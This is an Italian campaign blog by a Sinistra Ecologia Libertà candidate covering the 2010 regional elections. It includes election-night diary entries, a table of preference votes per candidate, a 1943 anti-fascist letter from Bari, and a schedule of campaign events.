E’in parte elitaria (quando conduce delle riflessioni di stampo politico che sono elucubrazioni mentali e che scarsa inerenza e incidenza hanno sul reale), in parte poco incisiva!Ti scrivo queste cose perché, come ben sai sono donna, giovane, meridionale e precaria e quasi quotidianamente mi confronto con persone che purtroppo stanno di gran lunga peggio di me. Non faccio davvero molto: in alcune cose, come immaginerai, ho le mani legate e in altre intervengono i limiti personali, ma cerco di prendere ognuna/o di loro in carico.
Li accolgo sempre, non lascio cadere mai delle loro richieste (esplicite o meno), spiego loro se non posso intervenire perché non posso farlo. Senza volermi dipingere l’eroina che davvero non sono, è questo quello che vorrei che un Partito politico mi mostrasse: che sono importante, che le mie richieste anche quando inespresse sono comprese e che soprattutto sono prese in carico, non lasciate cadere MAI nel vuoto.

MA

Risultati: quel che resta del giorno

link » risultati (ITALIA)

link » risultati (LAZIO)

link » risultati (ROMA e provincia)

Nel momento in cui questo articolo sarà online, mi troverò nella “Fabbrica di Nichi” a Bari, per seguire lo spoglio in diretta con SEL-TV.

L’analisi post-voto dovrà aspettare i dati dei singoli candidati: aggiornerò questo articolo scrivendo qui di seguito, oggi stesso, probabilmente in tarda serata.

Seguendo il pericoloso principio della parresia, come ho dichiarato a tutti già durante la campagna elettorale, in quanto candidato di servizio il mio obiettivo realistico non è ovviamente quello di vincere, ma quello di portare acqua al mulino di Sinistra Ecologia Libertà. La quota fissata per poter dire di aver fatto un lavoro discreto come portatore d’acqua è 100 voti, una soglia che ho fissato da solo, basandomi sui risultati delle regionali del 2005.

Vedremo come finirà questo primo round: la cosa che posso assicurare è che a prescindere dal risultato, io continuerò a fare politica in SEL, allo stesso modo, con tutta l’energia che mi è possibile… Ovviamente con più voti è più facile 🙂

Diario di bordo: 30 marzo, 1:46 del mattino

Qualche commento a caldo, dopo una giornata passata nella Fabbrica di Nichi a Bari, tra un pass che non arriva o è del colore sbagliato, una telecamera che non vuole saperne di caricarsi, una linea internet che non funziona e Nichi Vendola che vince -di nuovo- le elezioni per la presidenza della regione puglia… con successivo letterale bagno di folla in piazza prefettura.

Parto da nord, perché stanno arrivando gli ultimi dati per il Piemonte: circa 10’000 voti di scarto tra la Bresso e il leghista (il nome non è rilevante, tanto sono tutti uguali).
http://www.repubblica.it/static/speciale/2010/elezioni/regionali/piemonte.html#risultati
L’interno nord se ne va in mano a questa destra razzista, affarista nel modo più becero, collusa e criminale. La parte produttiva, in mano a chi ricicla, inquina, distrugge, corrompe, abusa ed estorce. La sinistra ridotta ad un ruolo marginale. C’è di che riflettere su come iniziare ad invertire questa tendenza, servono delle analisi efficaci da parte di chi conosce bene quelle realtà.
Nel frattempo rifletto su quelle percentuali curiose raggiunte dal movimento 5 stelle, con propaganda unicamente giocata sulla rete: non saranno di certo da copiare nei contenuti, ma alcuni metodi di comunicazione io me li andrò a guardare con attenzione.

Mi sposto al centro, nel Lazio: un occhio di riguardo in quanto candidato. Scarto di 50’000 voti, in questo momento, pari all’1,9% di differenza, a favore della Polverini: le probabilità che si chiuda miracolosamente a favore della Bonino sono ormai quasi assenti, con 300 sezioni ancora da scrutinare.
Sembra indicativo (anche se ancora non ho potuto verificare) che sia stato applicato in modo consistente il voto disgiunto in favore della Polverini: scarsa fiducia nei confronti della radicale? Popolarità mediatica della post-fascista? Difficile a dirsi. Certo è che il Lazio si trovava in un lento percorso di risanamento economico, che verrà ovviamente distrutto in pochi mesi.
Più in generale, con il Lazio un’altra delle regioni più produttive d’Italia se ne va in mano a chi gestisce gli affari senza altra regola se non quella del profitto personale ad ogni costo (le risate post-terremoto ce le ricordiamo e lasciano poco spazio a eventuali dubbi in merito: si tratta della stessa risma).

Infine approdo a sud. Nichi Vendola tiene egregiamente e qui si sprecano le analisi dei giornalisti sulla “anomalia” del comunista gay cattolico che userebbe -dicono- tecniche mediatiche simili a quelle di Berlusconi. Per come la vedo io, la cosa miracolosa  e il motivo del successo di Vendola è principalmente un altro: chi lo conosce sa che può fidarsi di lui, che cercherà di agire per il bene comune e che farà in modo da poter essere controllato.
Purtroppo queste semplici regole, che dovrebbero essere alla base di ogni amministrazione, sono in effetti una anomalia nel panorama italiano. Una anomalia che -per fortuna- è esportabile.

Il lavoro da fare è enorme. Aiutate voi stessi: partecipate! Prendete il controllo delle vostre vite. Entrate nei partiti, portate idee, non siate timidi e abbandonate lo sconforto, dobbiamo lavorare insieme.

A presto (per il commento sui risultati dei singoli candidati, per quello che vale, vista la più che plausibile sconfitta).

Diario di bordo: 31 marzo, 1:03 del mattino

In conclusione, SEL elegge due consiglieri: Luigi Nieri e Filiberto Zaratti, entrambi assessori uscenti. Io mi fermo a 115 voti, risultato che potrei considerare soddisfacente, se avesse vinto contestualmente la Bonino, così com’è invece serve davvero a poco.
C’è molto da lavorare e c’è molta voglia di farlo: restiamo in contatto!

Non so ancora come cambiaranno questo sito e la fan page su facebook nelle prossime settimane: sono strumenti che hanno senso se vengono usati bene. Nel frattempo però assicuro che non mancheranno occasioni di incontrarci già nei prossimi giorni: bisogna capire quale possa essere il mezzo più efficace per garantire questo genere di comunicazione.

Candidato Luogo e data di nascita Pref.
NIERI LUIGI ROMA, 11 Ottobre 1954 7.812 – eletto
ZARATTI FILIBERTO ROMA, 26 Marzo 1956 5.839 – eletto
AZUNI MARIA GEMMA OLZAI NU, 20 Giugno 1948 5.441
LUCIANI ENRICO CIVITAVECCHIA RM, 08 Dicembre 1959 3.147
TIBALDI ALESSANDRA ROMA, 04 Giugno 1967 2.632
PACE MICHELA ROMA, 20 Ottobre 1971 1.851
SAPPINO LUCA ROMA, 23 Febbraio 1988 1.170
CINI MARCELLO FIRENZE, 29 Luglio 1923 913
CICCONE STEFANO ROMA, 07 Febbraio 1964 821
CIAMPICACIGLI MATTIA
DETTO CIAMPI
PISTOIA PT, 20 Luglio 1986 386
DI MARCO DOMENICO ROMA, 15 Settembre 1952 348
D’ANGELI DAMIANO ROMA, 19 Luglio 1989 335
MARAFANTE TIZIANA ROMA, 21 Novembre 1954 335
PERSIA FRANCA ALFEDENA AQ, 06 Giugno 1954 332
PALLOTTINO GAIA ROMA, 31 Maggio 1941 317
SYLOS LABINI STEFANO BOLOGNA, 17 Giugno 1961 266
LUCATELLO GIANFILIPPO ROMA, 24 Novembre 1963 256
INDIRETTO GIOVANNA TARANTO, 04 Maggio 1950 246
ABBAI YEWHANIS DETTO
GIOVANNI
ROMA, 11 Settembre 1978 205
ALLAMPRESE ROSSELLA ROMA, 25 Novembre 1965 204
SPINAZZOLA FRANCESCO ROMA, 07 Giugno 1951 199
AVERSA SAVERIO LOCRI RC, 25 Giugno 1959 195
RUSSO GIOVANNI DETTO
LUTHER BLISSETT
ROMA, 15 Ottobre 1980 186
POSSANZINI MARCO ROMA, 25 Settembre 1976 168
DE LUCA GUERINO FORMIA LT, 02 Maggio 1958 148
SCIPIONI EMMA ROMA, 22 Gennaio 1985 145
MINGARELLI STEFANO FROSINONE, 19 Settembre 1971 142
MERCURI VALENTINA ROMA, 15 Febbraio 1990 141
DEL SIGNORE GIUSEPPINA ROMA, 28 Settembre 1957 139
COCCO MARIO CHIETI, 18 Ottobre 1938 133
SOLINI SILVANO TIVOLI RM, 25 Novembre 1945 123
FIORE VINCENZO GUIDO BARI, 20 Febbraio 1979 115
TOSCHI GIANFRANCO ROMA, 19 Giugno 1970 109
CUCCHI ALESSANDRO ROMA, 13 Dicembre 1979 94
COCUROCCIA PAOLO ROMA, 30 Novembre 1978 86
SANTOS MENDES ROSALIA
ALEXANDRINA DETTA
ROSA MENDES
FEIRA DE SANTANA (BRASILE), 27 Febbraio 1948 69
DANESE ADELIA ZURIGO (SVIZZERA), 27 Agosto 1962 67
NICHINONNI STEFANIA ROMA, 28 Marzo 1960 62
COPPOTELLI ANGELO FERENTINO FR, 25 Aprile 1973 45
BRANDIMARTE VITTORIA A BORDO DELLA NAVE G.CESARE, 13 Agosto 1943 41
CREMONESE ADRIANA CHIETI, 04 Aprile 1952 33

Sulle spalle dei giganti

Bari, 22 Luglio 1943.

L’ora della riscossa è prossima. L’aria di lontano porta un suono di guerra. Combatteremo, e sarà la fine di questi giorni amari, e la fine di chi ce li procurò.
Giustizia e libertà pei popoli è la santa parola che si è dovuta tacere fin troppo. Fin ora siamo stati costretti a lanciarla solo nei cuori di quei pochi giovani, di cui ci si poteva fidare.
La nostra è la lotta alla ricerca del giovane, che l’accetti, che ne discuta con te la grandezza e la giustezza.
Ed è una lotta in silenzio, lontano dagli agglomerati di spie, che spesso con gran maestria s’infiltrano tra noi, piccoli uomini, cercando d’accalappiarci come cani rognosi e gettarci in luride carceri.
Quante gioie e dolori, quante vittorie e sconfitte, ci costano questi anni amari!
Ma è l’ora che apporterà vita e benessere, l’ora di nuovi rifacimenti è giunta. Il nostro sangue non deve essere men degno di quello dei nostri antichi padri.
Riconquistata la libertà, che non sfoci in licenza col lavoro, col dovere che ci lega ai nostri antichi, si risolleverà tutto ciò che è stato menomato, in quest’Italia, fonte di perenne cultura e di arte nel campo liberale, dal mal nome e dalle nefande azioni dei nostri degenerati fratelli.
La sorte ha voluto che uno di essi, più nefando degli altri, si ponesse in capo dei nostri fratelli ciechi. Ciechi, perchè più che ciechi non si debbono chiamare. E come un cieco può pestare un’immagine sacra, un fiore, una bellezza naturale, così anch’essi, guidati da un nefandissimo veggente, qual è il loro capo supremo, hanno pestato, ridotto in cenci, quello ch’era il nostro ridente paese.
Dopo tanti anni ora cominciano a comprendere, e piano piano, acciò che non siano silurati, s’allontanano dall’astuto e grande megalomane conduttore. E come se qualcosa di grande e di non umano ridonasse loro la vista, cominciano a muovere i primi passi, tardi, dopo più di vent’anni di lunga cecità e di profondo letargo.
In tutti oggi si rivela scontentezza, l’uggia, ed in alcuni il furore represso, ma è perchè vedono vicina l’immane catastrofe.
Perchè non prima il risveglio? Perchè sì tardi, proprio quando bussano alle porte dela penisola le forze liberatrici degli Anglo-Americani? Ma è facile comprenderlo. Ora si vedono con l’acqua alla gola. Fra poco le loro nefandezze, le loro disonestà verranno a galla e quindi è meglio coprirle con un po’ di finzione. E non rimorderà loro la coscienza dei mali commessi? E non starete lì, lontano da quelli che hanno combattuto questo nefando stato di cose, perchè la coscienza ve lo impedirà? Che la terra si sprofondi sotto i vostri piedi, chè non siete degni di calcare questa terra, uomini abbietti! Quanti malfattori, quanti omicidi imploreranno il perdono! Giustizia sia fatta su questi uomini. Non si guardi ad amicizia o parentela alcune, tutti passeranno ai tribunali; ai tribunali ove sarà fatta vera giustizia, tenendo conto del loro passato.
L’onestà provata di certi uomini ai quali sono stati fatti i maggiori torti, ai quali sono state inflitte le maggiori sofferenze, verrà a galla. Parleranno di loro gli amici, i parenti, la terra calcata da loro, le piazze, che ascolteranno in tempi migliori le loro giuste, oneste, grandi parole.
Fratelli, per quella giustizia, per quella libertà, che sarà consentito di dare e far trovare ai nostri figli, siate pronti alla riscossa!
Graziano Fiore

Il 28 luglio del 1943 un gruppo di manifestanti si muoveva disarmato per le vie di Bari chiedendo la scarcerazione dei detenuti politici e l’uscita dell’Italia dalla Guerra.
Nei pressi della sede del partito nazionale fascista, sciolto il giorno prima da Badoglio, i soldati spararono sulla folla facendo almeno venti morti (il numero esatto non è mai stato reso noto): tra questi, giustiziato con un colpo alla nuca, c’era l’autore di questa lettera, Graziano Fiore, un ragazzo di 18 anni (la strage di Bari è stata di recente ricordata con una medaglia d’oro al valore civile da parte del Presidente della Repubblica: LINK ).
Mi capita di fermarmi a pensare: cosa avrei fatto io a quell’età? Avrei avuto il coraggio di rischiare la vita, chiedendo pace, giustizia e libertà, per me, per i detenuti politici, tra cui mio padre e mio fratello, per tutti? Per amore della propria Nazione, secondo un concetto che la vuole libera, eguale, giusta e non asservita.
E poi, sono all’altezza oggi di questa libertà che mi è stata donata con il sacrifio di allora? L’ombra dei padri (e delle madri), a volte sembra pesare al punto che da rendere difficile muoversi, temendo il confronto. Ma è una prospettiva falsata, perché le azioni svolte nel passato sono invece un punto di partenza che ci permette di guardare più lontano.
“Le spalle dei giganti”, come dicevano gli scolastici.

Ultima settimana di campagna: 3 appuntamenti

1 – Sabato 20 marzo, assemblea nazionale SEL e manifestazione per l’acqua pubblica.

Forum Ambiente Sinistra Ecologia Libertà -Roma, Sala Centro Congressi via Cavour 50/a -Sabato 20 marzo 2010 ore 10-14

9.30-10.15 Registrazione

10.15 Brevi comunicazioni introduttive

  • Il Forum Ambiente verso il primo congresso nazionale di SEL (Valerio Calzolaio)
  • Il Forum Ambiente di SEL verso le elezioni regionali (Roberto Musacchio)
  • SEL verso la campagna nazionale sull’acqua contro la privatizzazione (Grazia Francescato)
  • SEL verso la campagna per le rinnovabili contro il nucleare (Gianni Mattioli)
  • SEL verso le iniziative referendarie (Paolo Cento)
  • SEL verso il convegno di Torino sulla TAV (Vanda Bonardo)

10.45

Domande, proposte, disponibilità (brevissimi interventi)

Raccolta firme petizioni

Distribuzione materiali e schede

12.30

Intervento di Umberto Guidoni, segreteria nazionale SEL

Intervento di Nichi Vendola

13 Conclusioni organizzative

14 Partecipazione alla manifestazione nazionale sull’acqua

Sinistra Ecologia Libertà sarà in piazza e parteciperà alla manifestazione nazionale a Roma per la tutela del bene comune acqua. Una manifestazione che di fatto apre la campagna referendaria che dal 15 aprile ci vedrà tutti impegnati nella raccolta di almeno 700mila firme su tre quesiti abrogativi.

Dobbiamo essere in tanti a Roma, anche perché lo stesso giorno manifesterà quel centrodestra che in Parlamento ha approvato il decreto di privatizzazione.

Portiamo in piazza le nostre bandiere per renderci visibili e dare il nostro contributo alla piena riuscita della manifestazione. Avremo uno striscione e un camioncino, dove distribuiremo le bandiere di SEL.

Ci vediamo in piazza della Repubblica, davanti alla Chiesa di Santa Maria degli Angeli alle 13.30!

Guarda il punto di ritrovo sulla mappa (in fondo alla pagina).

2- Sabato 20, cena di sottoscrizione del circolo SEL del VI municipio.

In Via Prenestina, 286a: a partire dalle 20:00. [Era prevista per sabato 13, poi posticipata alla nuova data di sabato 20]
Tutt@ invitat@ alla cena di auto-mutuo finanziamento del circolo di Sinistra Ecologia Libertà del VI Municipio.
Il ricavato sarà utilizzato per le spese della sezione, gestionali e politiche.
Venite numerosi, affamati e generosi!! (e portate chi volete e qualunque cosa vogliate cucinare!!).

3 – Giovedì 25: ipotesi di nuovi modelli di analisi della società

Aula 8, edificio di fisica nuovo (campus universitario): 11:00-13:30. [attenzione al cambio di aula! inizialmente era prevista l’aula 4]

Partendo dalla presentazione del libro “Lo spettro del Capitale” (2009) di S. Bellucci e M. Cini, il dibattito affronterà il problema della mancanza di nuovi modelli di analisi della società contemporanea, discutendo l’esigenza della politica di sinistra di offrire un nuovo orizzonte teorico alternativo al modello imposto dell’iperliberismo globalizzato.

Intervengono:

Marcello Cini: professore emerito della Sapienza, Università di Roma, dove ha insegnato e svolto attività di ricerca in fisica teorica per 50 anni. Scienziato, docente ma anche intellettuale a tutto campo, nel 2004 ha ricevuto il premio Nonino “A un maestro del nostro tempo”. Candidato capolista a Roma e provincia nelle liste di Sinistra Ecologia Libertà.

Sergio Bellucci: giornalista e saggista, specializzato nei temi dell’innovazione tecnologica legata alla comunicazione. E’ uno dei fondatori di NetLeft, associazione che si occupa delle frontiere dell’era digitale. Dal 2006 al 2008 è stato presidente del quotidiano “Liberazione”.

Moderatore: Vincenzo Fiore, ricercatore assegnista presso l’Istituto di Scienze e Tecnologie della Cognizione (CNR), candidato a Roma e provincia nelle liste di Sinistra Ecologia Libertà.

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